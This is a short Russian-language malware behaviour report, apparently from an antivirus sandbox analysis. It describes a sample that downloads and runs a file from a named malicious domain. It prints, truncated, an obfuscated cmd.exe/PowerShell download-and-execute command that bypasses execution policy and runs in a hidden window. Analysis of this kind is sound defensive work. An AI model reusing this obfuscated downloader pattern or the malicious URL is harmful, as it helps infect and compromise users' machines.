Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://flowers-my.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^w^e^rS^h^Ell^.^eXE ^-ExEC^utIOnPO^Licy^ bYpasS ^-^nO^P^Rof^IlE ^-wInD^O^wstY^L^e HID^d^e^n^ ^(^n^ew-ObJ^EC^t^ ^sYSTEM^.NE^T.WE^bcLiENT^).doW^N^loa^dFIL^e('http://flowers-...
Сетевая активность
UDP
- DNS ASK fl###rs-my.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^w^e^rS^h^Ell^.^eXE ^-ExEC^utIOnPO^Licy^ bYpasS ^-^nO^P^Rof^IlE ^-wInD^O^wstY^L^e HID^d^e^n^ ^(^n^ew-ObJ^EC^t^ ^sYSTEM^.NE^T.WE^bcLiENT^).doW^N^loa^dFIL^e('http://flowers-...' (со скрытым окном)
